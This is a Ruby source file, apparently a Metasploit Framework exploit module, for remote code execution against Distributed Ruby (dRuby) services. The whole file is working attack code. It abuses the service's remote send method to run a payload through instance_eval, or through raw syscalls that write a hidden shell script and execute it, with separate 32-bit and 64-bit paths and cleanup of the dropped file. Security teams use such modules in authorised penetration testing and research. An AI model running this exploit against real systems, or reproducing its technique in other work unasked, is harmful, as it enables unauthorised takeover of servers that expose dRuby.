William Vu
130 lines
3.7 KiB
Ruby
130 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'drb/drb'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
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'Description' => %q{
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This module exploits remote code execution vulnerabilities in dRuby.
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If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
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In this event, the syscall target is preferred. This can be set with target 1.
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},
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'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
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[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 32768,
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [
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['instance_eval', {}],
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['syscall', {}]
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],
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'DisclosureDate' => 'Mar 23 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
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], self.class)
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end
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def exploit
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serveruri = datastore['URI']
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DRb.start_service
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p = DRbObject.new_with_uri(serveruri)
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class << p
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undef :send
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end
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case target.name
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when 'instance_eval'
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print_status('Trying to exploit instance_eval')
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exploit_instance_eval(p)
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when 'syscall'
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print_status('Trying to exploit syscall')
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exploit_syscall(p)
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end
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end
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def exploit_instance_eval(p)
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begin
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p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
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rescue SecurityError
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print_error('instance_eval failed due to security error')
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rescue DRb::DRbConnError
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print_error('instance_eval failed due to connection error')
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end
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end
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def exploit_syscall(p)
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filename = "." + Rex::Text.rand_text_alphanumeric(16)
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begin
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begin
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print_status('Attempting 32-bit exploitation')
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# syscall to decide wether it's 64 or 32 bit:
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# it's getpid on 32bit which will succeed, and writev on 64bit
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# which will fail due to missing args
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p.send(:syscall,20)
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# syscall open
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i = p.send(:syscall,8,filename,0700)
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# syscall write
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p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
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# syscall close
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p.send(:syscall,6,i)
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# syscall fork
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p.send(:syscall,2)
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# syscall execve
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p.send(:syscall,11,filename,0,0)
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# likely 64bit system
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rescue Errno::EBADF
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print_status('Target is a 64-bit system')
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# syscall creat
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i = p.send(:syscall,85,filename,0700)
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# syscall write
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p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
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# syscall close
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p.send(:syscall,3,i)
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# syscall fork
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p.send(:syscall,57)
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# syscall execve
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p.send(:syscall,59,filename,0,0)
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end
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# not vulnerable
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rescue SecurityError
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print_error('syscall failed due to security error')
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return
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rescue DRb::DRbConnError
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print_error('syscall failed due to connection error')
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return
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end
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register_files_for_cleanup(filename)
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end
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end
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